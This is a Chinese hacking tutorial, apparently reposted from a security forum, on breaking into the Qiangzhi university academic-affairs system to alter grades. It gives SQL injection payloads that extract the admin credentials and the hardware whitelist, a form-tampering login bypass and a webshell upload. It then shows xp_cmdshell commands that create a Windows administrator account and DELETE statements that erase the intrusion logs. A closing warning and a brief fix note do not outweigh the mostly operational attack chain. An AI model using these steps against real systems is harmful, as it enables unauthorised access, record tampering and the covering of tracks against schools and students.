黑客入侵强智教务系统修改成绩

浏览:
字体:
发布时间:2015-09-06 14:01:44
来源:


 下面说说系统的漏洞,在公告通知部分就有明显的注入漏洞,我在拿下权限后看了看他们的敏感字符过滤函数,实在是不敢恭维,完全起不到任何过滤效果= =~~~~

一般打开教务系统主页都会看到通知,随便点进去一个页面就可以了。有的学校的系统首页不显示通知,需要学生登录才能查看,如果登不进去,可以构造如下的地址:

http://目标网站/Jiaowu/Public/ShowGGTZ.asp?GGTZID=117

注:上面红字的jiaowu有的学校没有这个虚拟目录,你去掉就可以了,后面的ID可以随便写个数字,显示找不到也没有关系。

下面开始注入攻击,在上面的ID号后面加如下语句:

and (select top 1 Account from Usertable where UserMemo='administrator')>0

上面的SQL语句学过数据库系统的人应该都懂,意思是说从Usertable这个表中选取administrator用户,并返回第一条记录的Account字段,这个字段就是管理员的用户名。如果管理员的用户名包含字符的话,这条查询语句的结果和数字0比较就会产生错误,因为字符串类型和数值类型是无法比较的,提交上面的网址,浏览器会返回如下的出错信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'xxxxx' 转换为数据类型为 int 的列时发生语法错误。

/jiaowu/Public/ShowGGTZ.asp,行 44

上面的出错信息中,单引号里面的红字就是管理员的用户名,如果运气不好= =~管理员用的是纯数字的用户名,那就要麻烦了,因为不会出现上面的错误信息,需要用SQL语句判断用户名每一位的ASCII码,然后猜出来,具体的方法,可以网上搜搜,这里就不说了……

接下来是猜管理员的密码,把上面的SQL语句换成下面的:

and (select top 1 Password from Usertable where Account ='xxxxxx')>0

红x添入刚刚猜到的用户名,然后提交网址,如果管理员用的不是纯数字的密码,会返回上述同样的出错信息,得到的nvchar值就是密码。如果管理员用的是纯数字的密码,那就再次不走运了……继续用麻烦的方法。。。。

得到了管理员的用户名和密码,我们还不能登录系统后台,因为强智这套系统做了限制,系统会限制只能在特定的计算机上登录到系统后台进行管理,它通过强智的一个小软件,计算出计算机的硬件码,然后登录时判断你机子的硬件码是否允许登录,但是这个硬件码是存在系统的数据库中的,所以完全可以用SQL注入的方法得到这些机器码,然后登录时伪造成符合标准的机器就行了。把上面的SQL语句换成下面的:

and (select top 1 s_AdminDNs from sys_config)>0

提交了上面的语句,会返回下面的出错信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值'MRG215K2K7PKNJ 6PS2M5QF CLP429F4J9XBYA ' 转换为数据类型为 int 的列时发生语法错误。

/Public/ShowGGTZ.asp,行 44

上面红字的就是被允许的机器的硬件码,可以看出有三台机子,把他们保存起来。

得到了管理员的用户名、密码还有机器码,我们就可以登录了,这里需要一个小软件来提交得到的机器码。软件的名字是 TamperIE(下载地址)这个软件可以修改我们提交表单时的数据。

打开IE,在IE的工具栏有个狐狸的图标,点击打开,把第一个选项打上勾,如下图:

D1.jpg

接下来打开教务系统的主页,输入刚才得到用户名和密码,用户选择系统管理员,然后点击登陆,这时候这个软件会自动弹出对话框,里面显示的是刚刚提交的表单数据。如下图:

D2.jpg

下面的部分就是刚刚提交的表单数据,可以看到有这句话DiskNumber=error,说明我们现在的机器无法登陆,现在可以把error改成刚刚得到的机器码中的一个,然后点击第一个按钮提交。这样就能成功进入系统后台了。如图

D3.jpg

现在已经成功的拿下了后台了。^_^

接下来是上传webshell,我在后台浏览了一番,发现这个系统的功能还是很强大的,教务管理的功能非常全面,但就是安全性是个败笔。在教务信息维护看到可以发布通知公告,还可以上传附件,随便传了一个竟然发现不限制文件的扩展名,做系统的人竟然疏忽了这么关键的一点。这安全性也真够差的了= =~~~~~~

找好ASP木马或者ASPX木马,上传上去,就可以拿到WebShell了。^_^

最后是要拿到管理员权限,用WebShell浏览网页目录,在网站根目录下找到connstring.asp这个文件,如图:

 

D4.jpg

 

编辑打开,这个文件前半段是数据库的连接字符串,后半段就是那个完全没用的敏感字符过滤语句= =~

数据库连接字符串如下:

view source   print?

1 <span><span>connstring="driver={sql server};server=" & Sname & ";database=" & DBName &";uid=sa;pwd=xxxxxxxx" '数据库连接语句 ^w@o2O-pl&38=5%8/ </span></span>

 

 

字符串中管理员竟然用的是sa用户= =~~~sa用户差不多就等于拿到了系统的最高权限,看来管理员的安全意识还有待提高。。。。

在webshell中用得到sa用户和密码建立数据库连接,连接字符串如下:

Driver={Sql Server};Server=127.0.0.1,1433;Database=maste;Uid=sa;Pwd=*******

建立好连接之后,用下面的SQL命令创建用户账号,并提升为系统管理员。

Exec master.dbo.xp_cmdshell 'net user admin 12345 /add' //创建用户admin密码12345

Exec master.dbo.xp_cmdshell 'net localgroup administrators admin /add' //提升admin为管理员

现在就已经拥有管理员的权限了。打开3389远程桌面就可以远程登录服务器了,此次入侵检测结束。

 

再次警告,请不要破坏修改服务器中的数据!做出自己无法控制的事!

 

下面是整个入侵检测中可能会遇到的问题:

1、在connstring.asp文件中,网站管理员没有用sa用户去连接数据库,我们可以改用别的方法,例如上传一个cmd.exe盒Churrasco.exe,然后用webshell加载这个cmd,然后用Churrasco去执行命令,这个命令是具有系统权限的,具体做法请网上搜索。= =

2、在用sa用户执行Exec master.dbo.xp_cmdshell的时候提示没有这个存储过程,这时可以用下面的命令恢复存储过程,然后再去执行上面的命令。如果恢复失败,可以在网上找找其他的可以利用的存储过程。

Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')

3、在进入系统后台后,系统会自动记录系统日志,记录登入者的IP地址,可以在后台的数据管理中执行下面的SQL命令清除系统日志。

Delete/**/From Sys_OperRz where IP=‘xx.xx.xx.xx'

Delete/**/From Sys_ActionLog where IP=‘xx.xx.xx.xx'

4、如果对整个网站的源码感兴趣的可以在站内留言联系我。

 

最后说下漏洞的修补:

1、公告通知的SQL注入漏洞,修改网站根目录的connstring.asp文件,把下半部分的敏感字符过滤语句换成枫叶版的ASP防注入,原版的敏感字符过滤语句还会导致有时候session变量失效,造成脚本错误,这也是百度上有人提到的为什么会出现脚本错误的原因所在。

 

更多信息来自东方联盟网:http://www.vm888.com

>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();